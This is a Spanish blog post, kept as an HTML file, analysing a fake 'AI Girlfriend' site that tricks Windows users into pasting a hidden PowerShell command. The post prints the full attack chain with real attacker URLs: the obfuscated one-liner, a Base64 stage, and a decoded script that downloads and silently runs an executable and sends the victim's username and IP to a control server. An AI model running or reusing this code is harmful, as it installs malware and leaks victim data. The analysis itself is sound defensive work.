static-httpd

Sitio web estático (HTML + CSS) que sostiene el blog del autor
Log | Files | Refs

index.html (20331B)


      1 <!DOCTYPE html>
      2 <html>
      3 <head>
      4 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
      5 <meta name="viewport" content="width=device-width, initial-scale=1" />
      6 <title>Análisis de método de propagación de malware por medio de scripting malicioso</title>
      7 <link rel="icon" type="image/png" href="/favicon.png" />
      8 <link rel="stylesheet" type="text/css" href="../article.css" />
      9 </head>
     10 <body>
     11 <header>
     12 <p class="title">Análisis de método de propagación de malware por medio de scripting malicioso</p>
     13 <p class="date">15 de abril de 2025 • fjbalon</p>
     14 </header>
     15 <p>Mientras navegaba por Twitter me he topado con una campaña de lo más variopinta y llamativa que me he decidido desgranar y analizar con ustedes. El tweet, que no parecía promocionado, parecía anunciar una «IA», con toda la vacuidad con el que se suele usar el término, con el mensaje “Distant buoys nodded in quiet agreement”, sea lo que sea que signifique eso; y el anuncio para crear tu propia «AI Girlfriend». Desde luego tentador, ¿quién no querría una buena novIA?</p>
     16 <img style="width:40%;" src="imagen1.jpeg" />
     17 <p>Pero, ¿en qué consiste realmente está novia? He accedido a la web para comprobarlo. Este es su frontend:</p>
     18 <img src="imagen2.jpeg" />
     19 <p>No me he parado a ver el código HTML ni nada, no he visto si tiene estructura de contenido o si es una simple imagen siquiera. Lo que es cierto es que el sitio está lleno de código JavaScript; y al pinchar o hacer cualquier cosa con la página salta diretamente al siguiente “mensaje de error”:</p>
     20 <img src="imagen3.jpeg" />
     21 <p>Con unas instrucciones la mar de raras para cualquiera que utilice regularmente un ordenador... Da por hecho, evidentemente, que estás en Microsoft Windows (claro está, un usuario de GNU/Linux no caería en algo tan tonto, espero) y te pide que presiones <kbd>Win</kbd>+<kbd>R</kbd> para abrir la ventana de ejecutar comandos de Windows, <kbd>Ctrl</kbd>+<kbd>V</kbd> para pegar lo que previamente el script de JavaScript ha copiado en tu portapapeles, y presiones ejecutar.</p>
     22 <img style="width:40%;" src="imagen4.png" />
     23 <p>La vista del comando a ejecutar es <emb>tiate forse restart browser</emb>. El comando más falso que he visto nunca, ese comando no existe, además de estar muy mal escrito. Vemos el contenido real que se iría a ejecutar; el comando entero que tenemos en el portapapeles:</p>
     24 <pre><code>cmd /c powershell -w hidden -c "$CHROME='i'+'e'+'x'; $SOCKET='i'+'w'+'r'; 
     25 $UPLOAD='https:/'+'/kutt.i'+'t/ReSeT'; &($CHROME) ((&($SOCKET) $UPLOAD -UseBasicParsing).Content)"
     26 #        Initiate forse restart browser</code></pre>
     27 <p>Esto es otra cosa, sí es un comando de verdad. Veamos qué hace:</p>
     28 <p><emb>cmd /c</emb> ejecuta un comando que consiste en lanza <emb>powershell -w hidden</emb> el intérprete de PowerShell (un equivalente, para que se me entienda, de Bash) en modo oculto, sin mostrar ventana visible. Tras <emb>-c</emb> se indica el comando. A partir de aquí se indica el script de PowerShell.</p>
     29 <p><emb>$UPLOAD='i'+'e'+'x'</emb> construye la cadena </emb>"iex"</emb>, que es el alias de </emb>Invoke-Expression</emb>, un cmdlet que ejecuta una cadena como código; </emb>$CHROME='i'+'w'+'r'</emb> construye la cadena </emb>"iwr"</emb>, alias de </emb>Invoke-WebRequest</emb> usado para hacer solicitued HTTP. </emb>$SOCKET='https:/'+'/kutt.i'+'t/ReSeT'</emb> construye la URL </emb>http://kutt.it/ReSeT</emb>.</p>
     30 <p>Finalmente, hace la llamada que viene construyendo y declarando con <emb>&($UPLOAD) ((&($CHROME) $SOCKET -UseBasicParsing).Content)</emb>, es decir, descarga y extrae el contenido de la respuesta HTTP de la URL y ejecuta el código usando </emb>Invoke-Expression</emb>.</p>
     31 <p><emb># Initiate forse restart browser</emb> es simplemente un comentario de código, con el objetivo de aparecer en el campo de texto de la ventana de ejecución y engañar a los incautos.</p>
     32 <p>El código que descarga es el siguiente:</p>
     33 <pre><codeb>$tFCTUeCs=[System.Text.Encoding]::Unicode; $YqMACnAc=[Convert]::FromBase64String
     34 ('JABiAHQAYQBnACAAPQAgACIAIwAxAFIAZQBzAGUAdAAiAAoAIwAgAEQAbwBVAEIAZQBDAGUAWgBRAGIAVQBlAE8AQgBOAGMACgAkAHQAZwBkACAAPQAgACIALQAxADAAMAAyADUAOQA3ADQAMAAxADMAMwA5ACIACgAkAGgAZAAgACAAPQAgACIAaAB0AHQAcABzADoALwAvAGgAawBkAGsALgBlAHYAZQBuAHQAcwAvADcAdAB2AG4ANABpAHEAcwAyADcAOABkAHEAbwAiAAoAJAB6AGwAIAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBkAGUAdgAuAGEAegB1AHIAZQAuAGMAbwBtAC8AZABvAHcAbgB1AHAAZAB0AGUAcwAvADAAYgBlADcAOQA3ADMANgAtADYAYwBhADkALQA0ADkAMQBiAC0AYgBlADIAMQAtADAAMAAxADUAOQAzAGUANAA4AGQAOAA4AC8AXwBhAHAAaQBzAC8AZwBpAHQALwByAGUAcABvAHMAaQB0AG8AcgBpAGUAcwAvAGIAYQAwADMAYQA1AGIANgAtADIAMgAyADEALQA0AGYAMAAwAC0AYQBkADEAMgAtADEAMQBmADkAZQBhAGEANwBhADkAYgBkAC8AaQB0AGUAbQBzAD8AcABhAHQAaAA9AC8AcgB1AG4ANAA3AC4AegBpAHAAJgB2AGUAcgBzAGkAbwBuAEQAZQBzAGMAcgBpAHAAdABvAHIAJQA1AEIAdgBlAHIAcwBpAG8AbgBPAHAAdABpAG8AbgBzACUANQBEAD0AMAAmAHYAZQByAHMAaQBvAG4ARABlAHMAYwByAGkAcAB0AG8AcgAlADUAQgB2AGUAcgBzAGkAbwBuAFQAeQBwAGUAJQA1AEQAPQAwACYAdgBlAHIAcwBpAG8AbgBEAGUAcwBjAHIAaQBwAHQAbwByACUANQBCAHYAZQByAHMAaQBvAG4AJQA1AEQAPQBtAGEAaQBuACYAcgBlAHMAbwBsAHYAZQBMAGYAcwA9AHQAcgB1AGUAJgAlADIANABmAG8AcgBtAGEAdAA9AG8AYwB0AGUAdABTAHQAcgBlAGEAbQAmAGEAcABpAC0AdgBlAHIAcwBpAG8AbgA9ADUALgAwACYAZABvAHcAbgBsAG8AYQBkAD0AdAByAHUAZQAiAAoAJABwAHoAIAAgAD0AIAAiAFEAdwBlAHEAdwBlADEAMgAzADEAMgAzACIACgAKAGYAdQBuAGMAdABpAG8AbgAgAHMAdABnACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKAAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABzACwACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAbQAKACAAIAAgACAAKQAKAAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJABpAHAAIAA9ACAAKABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAtAFUAcgBpACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgBpAHAAaQBmAHkALgBvAHIAZwA/AGYAbwByAG0AYQB0AD0AagBzAG8AbgAiACkALgBpAHAACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAaQBwACAAPQAgACIAVQBuAGsAbgBvAHcAbgAiAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACQAdQAgAD0AIAAkAGUAbgB2ADoAVQBTAEUAUgBOAEEATQBFAAoAIAAgACAAIAAkAHQAIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAIAAtAEYAbwByAG0AYQB0ACAAcwApAAoAIAAgACAAIAAkAHQAeAB0ACAAPQAgACIAJABiAHQAYQBnAGAAbgBbACQAcwBdACAAJABtAGAAbgBVAHMAZQByADoAIAAkAHUAYABuAEkAUAA6ACAAJABpAHAAYABuAFQAaQBtAGUAOgAgACQAdAAiAAoACgAgACAAIAAgACQAYgAgAD0AIABAAHsACgAgACAAIAAgACAAIAAgACAAYwBoAGEAdABfAGkAZAAgAD0AIAAkAHQAZwBkAAoAIAAgACAAIAAgACAAIAAgAHQAZQB4AHQAIAAgACAAIAA9ACAAJAB0AHgAdAAKACAAIAAgACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAtAEQAZQBwAHQAaAAgADMACgAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAkAGgAZAAgAGAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAtAE0AZQB0AGgAbwBkACAAUABPAFMAVAAgAGAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAtAEgAZQBhAGQAZQByAHMAIABAAHsAIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAIAA9ACAAIgBhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwBqAHMAbwBuACIAIAB9ACAAYAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC0AQgBvAGQAeQAgACQAYgAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKAH0ACgAKAHQAcgB5ACAAewAKACAAIAAgACAAJABiAGYAIAA9ACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE4AVgBJAEQASQBBAFwAVQBwAGQAYQB0AGUAUwBlAHIAdgBpAGMAZQAiAAoAIAAgACAAIAAkAG0AYQAgAD0AIAAzAAoAIAAgACAAIAAkAGQAIAA9ACAAJABmAGEAbABzAGUACgAKACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAxADsAIAAkAGkAIAAtAGwAZQAgACQAbQBhADsAIAAkAGkAKwArACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAcgAgAD0AIAAtAGoAbwBpAG4AIAAoACgANgA1AC4ALgA5ADAAKQAgACsAIAAoADkANwAuAC4AMQAyADIAKQAgACsAIAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAAoAIAAgACAAIAAgACAAIAAgACQAdABmACAAPQAgACIAJABiAGYAXABUACQAcgAiAAoAIAAgACAAIAAgACAAIAAgACQAegBwACAAPQAgACIAJAB0AGYAXAB6AC4AegBpAHAAIgAKACAAIAAgACAAIAAgACAAIAAkAGUAcAAgAD0AIAAiACQAdABmAFwAYwAiAAoACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAdABmACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAHQAZgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAZQBwACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABuAHYAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAE4ARQBUACAARgByAGEAbQBlAHcAbwByAGsAIABTAGUAdAB1AHAAXABOAEQAUABcAHYANABcAEYAdQBsAGwAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUgBlAGwAZQBhAHMAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABuAHYAIAAtAGEAbgBkACAAJABuAHYAIAAtAGcAZQAgADMANwA4ADMAOAA5ACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAIgBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAiAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASAB0AHQAcABDAGwAaQBlAG4AdABdADoAOgBuAGUAdwAoACkACgAjACAAYwBYAFEAcQB5AFgARQBIAGgATgBNAEsARwBkAHUARgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAGwALgBEAGUAZgBhAHUAbAB0AFIAZQBxAHUAZQBzAHQASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIALAAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACIAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAHMAIAA9ACAAJABjAGwALgBHAGUAdABCAHkAdABlAEEAcgByAGEAeQBBAHMAeQBuAGMAKAAkAHoAbAApAC4AUgBlAHMAdQBsAHQACgAjACAAbwByAFMATgBCAGcAcwBGAEUAVgBLAHYATABIAHIAWAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAegBwACwAIAAkAGIAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAVQBzAGUAcgAtAEEAZwBlAG4AdAAiACwAIAAiAE0AbwB6AGkAbABsAGEALwA1AC4AMAAiACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAHoAbAAsACAAJAB6AHAAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHoAcAApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkACAAPQAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYgByAGUAYQBrAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQAKAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAkAGQAKQAgAHsACgAgACAAIAAgACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBaAEkAUAAgAGQAbwB3AG4AbABvAGEAZAAgAGYAYQBpAGwAZQBkACIACgAgACAAIAAgACAAIAAgACAAZQB4AGkAdAAKACAAIAAgACAAfQAKAAoAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBGAGkAbABlAFMAeQBzAHQAZQBtAAoAIAAgACAAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAFoAaQBwAEYAaQBsAGUAXQA6ADoARQB4AHQAcgBhAGMAdABUAG8ARABpAHIAZQBjAHQAbwByAHkAKAAkAHoAcAAsACAAJAB0AGYAKQAKAAoAIAAgACAAIAAkAHMANwAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBQAGEAdABoACAAJAB0AGYAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAaQBsAHQAZQByACAAIgA3AHoAcgAuAGUAeABlACIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAJABhADcAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAdABmACAALQBSAGUAYwB1AHIAcwBlACAALQBGAGkAbAB0AGUAcgAgACIAKgAuADcAegAiACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABzADcAIAAtAG8AcgAgAC0AbgBvAHQAIAAkAGEANwApACAAewAKACAAIAAgACAAIAAgACAAIABzAHQAZwAgACIARQBSAFIATwBSACIAIAAiADcAegAgAG8AcgAgAGUAeAB0AHIAYQBjAHQAbwByACAAbgBvAHQAIABmAG8AdQBuAGQAIgAKACAAIAAgACAAIAAgACAAIABlAHgAaQB0AAoAIAAgACAAIAB9AAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwA3AC4ARgB1AGwAbABOAGEAbQBlACAAYAAKACAAIAAgACAAIAAgACAAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgB4ACIALAAgACIAYAAiACQAKAAkAGEANwAuAEYAdQBsAGwATgBhAG0AZQApAGAAIgAiACwAIAAiAC0AbwAkAGUAcAAiACwAIAAiAC0AcAAkAHAAegAiACwAIAAiAC0AeQAiACAAYAAKACAAIAAgACAAIAAgACAAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0AAoACgAgACAAIAAgACQAZQB4ACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAcAAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBpAGwAdABlAHIAIAAqAC4AZQB4AGUAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABlAHgAKQAgAHsACgAgACAAIAAgACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBOAG8AIAAuAGUAeABlACAAZgBvAHUAbgBkACAAYQBmAHQAZQByACAAZQB4AHQAcgBhAGMAdABpAG8AbgAiAAoAIAAgACAAIAAgACAAIAAgAGUAeABpAHQACgAgACAAIAAgAH0ACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAHgALgBGAHUAbABsAE4AYQBtAGUAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAAoACgAgACAAIAAgAHMAdABnACAAIgBTAFUAQwBDAEUAUwBTACIAIAAiACIACgB9AAoAYwBhAHQAYwBoACAAewAKACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBVAG4AZQB4AHAAZQBjAHQAZQBkACAAZgBhAGkAbAB1AHIAZQAiAAoAfQA='); 
     35 Invoke-Expression (${tFCTUeCs}.GetString(${YqMACnAc}))</codeb></pre>
     36 <p>El código es un script de PowerShell ofuscado, por lo que lo primero que hace es indicar cómo decodificarlo.</p>
     37 <p>El tipo de codificación es Unicode como vemos en <emb>$tFCTUeCs=[System.Text.Encoding]::Unicode</emb>, la cadena codificada en Base64 está en <emb>$YqMACnAc=[Convert]::FromBase64String(...)</emb> y la orden <emb>Invoke-Expression (${tFCTUeCs}.GetString(${YqMACnAc}))</emb> decodifica la cadena Base64 a texto Unicode, después la ejecuta como código PowerShell.</p>
     38 <p>Al decodificar la cadena en la terminal con:</p>
     39 <pre><code>echo $CADENA | base64 -d</code></pre>
     40 <p>Obtenemos el script malicioso de PowerShell:</p>
     41 <pre><code>$btag = "#1ReSeT"
     42 # DoUBCeZQBVeOBNc
     43 $tgd = "-1002597401339"
     44 $hd = "https://hkdk.events/7tvn4iqs278dqo"
     45 $zl = "https://dev.azure.com/downupdates/0be79736-6ca9-491b-be21-001593e48d88/_apis/git/repositories/ba03a5b6-2221-4f00-ad12-11f9eaa7a9bd/items?path=/run47.zip&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=main&resolveLfs=true&%24format=octetStream&api-version=5.0&download=true"
     46 $pz = "Qweqwe123123"
     47 
     48 function stg {
     49     param (
     50         [string]$s,
     51         [string]$m
     52     )
     53 
     54     try {
     55         $ip = (Invoke-RestMethod -Uri "https://api.ipify.org?format=json").ip
     56     } catch {
     57         $ip = "Unknown"
     58     }
     59 
     60     $u = $env:USERNAME
     61     $t = (Get-Date -Format s)
     62     $txt = "$btag`n[$s] $m`nUser: $u`nIP: $ip`nTime: $t"
     63 
     64     $b = @{
     65         chat_id = $tgd
     66         text = $txt
     67     } | ConvertTo-Json -Depth 3
     68 
     69     try {
     70         Invoke-RestMethod -Uri $hd `
     71             -Method POST `
     72             -Headers @{ "Content-Type" = "application/json" } `
     73             -Body $b | Out-Null
     74     } catch {}
     75 }
     76 
     77 try {
     78     $bf = "$env:APPDATA\NVIDIA\UpdateService"
     79     $ma = 3
     80     $d = $false
     81 
     82     for ($i = 1; $i -le $ma; $i++) {
     83         $r = -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 5 | % {[char]$_})
     84         $tf = "$bf\T$r"
     85         $zp = "$tf\z.zip"
     86         $ep = "$tf\c"
     87 
     88         try {
     89             if (-not (Test-Path $tf)) {
     90                 New-Item -ItemType Directory -Path $tf -Force | Out-Null
     91                 New-Item -ItemType Directory -Path $ep -Force | Out-Null
     92             }
     93 
     94             $nv = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" -ErrorAction SilentlyContinue).Release
     95             if ($nv -and $nv -ge 378389) {
     96                 Add-Type -AssemblyName "System.Net.Http"
     97                 $cl = [System.Net.Http.HttpClient]::new()
     98                 $cl.DefaultRequestHeaders.Add("User-Agent", "Mozilla/5.0")
     99                 $bs = $cl.GetByteArrayAsync($zl).Result
    100                 [System.IO.File]::WriteAllBytes($zp, $bs)
    101             } else {
    102                 $wc = New-Object System.Net.WebClient
    103                 $wc.Headers.Add("User-Agent", "Mozilla/5.0")
    104                 $wc.DownloadFile($zl, $zp)
    105             }
    106 
    107             if (Test-Path $zp) {
    108                 $d = $true
    109                 break
    110             }
    111         } catch {
    112             Start-Sleep -Seconds 1
    113         }
    114     }
    115 
    116     if (-not $d) {
    117         stg "ERROR" "ZIP download failed"
    118         exit
    119     }
    120 
    121     Add-Type -AssemblyName System.IO.Compression.FileSystem
    122     [IO.Compression.ZipFile]::ExtractToDirectory($zp, $tf)
    123 
    124     $s7 = Get-ChildItem -Path $tf -Recurse -Filter "7zr.exe" | Select-Object -First 1
    125     $a7 = Get-ChildItem -Path $tf -Recurse -Filter "*.7z" | Select-Object -First 1
    126 
    127     if (-not $s7 -or -not $a7) {
    128         stg "ERROR" "7z or extractor not found"
    129         exit
    130     }
    131 
    132     Start-Process -FilePath $s7.FullName `
    133         -ArgumentList "x", "`"$($a7.FullName)`"", "-o$ep", "-p$pz", "-y" `
    134         -WindowStyle Hidden -Wait
    135 
    136     $ex = Get-ChildItem -Path $ep -Recurse -Filter *.exe | Select-Object -First 1
    137     if (-not $ex) {
    138         stg "ERROR" "No .exe found after extraction"
    139         exit
    140     }
    141 
    142     Start-Process -FilePath $ex.FullName -WindowStyle Hidden
    143 
    144     stg "SUCCESS" ""
    145 }
    146 catch {
    147     stg "ERROR" "Unexpected failure"
    148 }</code></pre>
    149 <p>No voy a detallar línea a línea porque sería un trabajo bastante tedioso, pero realizaré una lectura vertical. Para empezar, variables de interés:</p>
    150 <ul>
    151 <li><emb>$btag = "#1ReSeT"</emb> no estoy seguro de qué es, parece un identificador para rastrear la ejecución o algo. </li>
    152 <li><emb>$tgd = "-1002597401339"</emb> parece otro identificador, posiblemente para un chat o bot de Telegram.</li>
    153 <li><emb>$hd = "https://hkdk.events/7tvn4iqs278dqo"</emb> es una URL del servidor de comando y control.</li>
    154 <li>Una URL que descarga de los servidores de Azure un archivo ZIP (<emb>run47.zip</emb>):
    155 <pre><codeb>$zl = "https://dev.azure.com/downupdates/0be79736-6ca9-491b-be21-001593e48d88/_apis/git/repositories/ba03a5b6-2221-4f00-ad12-11f9eaa7a9bd/items?path=/run47.zip&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=main&resolveLfs=true&%24format=octetStream&api-version=5.0&download=true"</codeb></pre></li>
    156 <li><emb>$pz = "Qweqwe123123"</emb> la contraseña para el ZIP.</li>
    157 </ul>
    158 <p>Después, la función <emb>stg</emb> recolecta informción del sistema, obtiene la dirección IP pública mediante una llamada a api.ipify.org, obtiene el nombre de usuario (<emb>$env:USERNAME</emb>) y la fecha y hora, contruye un mensaje con <emb>$btag</emb> y la información anterior y, finalmente, envía esta información como JSON a la URL del servidor de control mediante POST.</p>
    159 <p>A continuación define el directorio <emb>%APPDATA%\NVIDIA\UpdateService</emb> y genera un nombre aleatorio para una subcarpeta, descarga el zip <emb>run47.zip</emb> de Azure usando e un HttpClient o WebClient, dependiendo de la versión de .NET que tenga la víctima y lo extrae en el directorio definido. No estoy entrando en cada bucle ni control de errores, ya que lo creo irrelevante para la entrada.</p>
    160 <p>Una vez extraídos, ejecuta <emb>7zr.exe</emb> para extraer el <emb>7z</emb> contenido en los archivos extraídos del zip; usando además la contraseña declarada en las variables. Después invoca un ejecutable (<emb>.exe</emb>).</p>
    161 <p>Conocer el propósito del ejecutable es más difícil, habría que ejecutar técnicas de ingeniería inversa para averiguar qué hace, pero podría hacer cualquier cosa: ransomware, troyano, software espía, minero de criptomonedas... Quizá si tenga tiempo me aventiure a montar una máquina virtual aislada con Windows para ejecutarlo y ver qué hace. O analizar el exe a ver si podemos averiguar parte del código y poder deducirlo.</p>
    162 <p>Desde luego, nunca dejará de sorprenderme la capacidad y el ingenio humano para el transmitir elementos maliciosos, y como decía, lo peor es que todo este procedimiento de scripting es únicamente para descargar y ejecutar el malware. Es decir, ni si quiera hemos tocado la superficie del malware, sólo su método de infección y propagación.</p>
    163 <p>El tweet ya ha sido eliminado, pero de su eliminación he podido ver que tenía casi 100.000 visualizaciones, es decir, 100.000 de potenciales víctimas; y sólo ha estado publicado 2 horas por una cuenta de unos 50 seguidores. Imagínense las campañas que cuenten con más recursos.</p>
    164 </body>
    165 </html>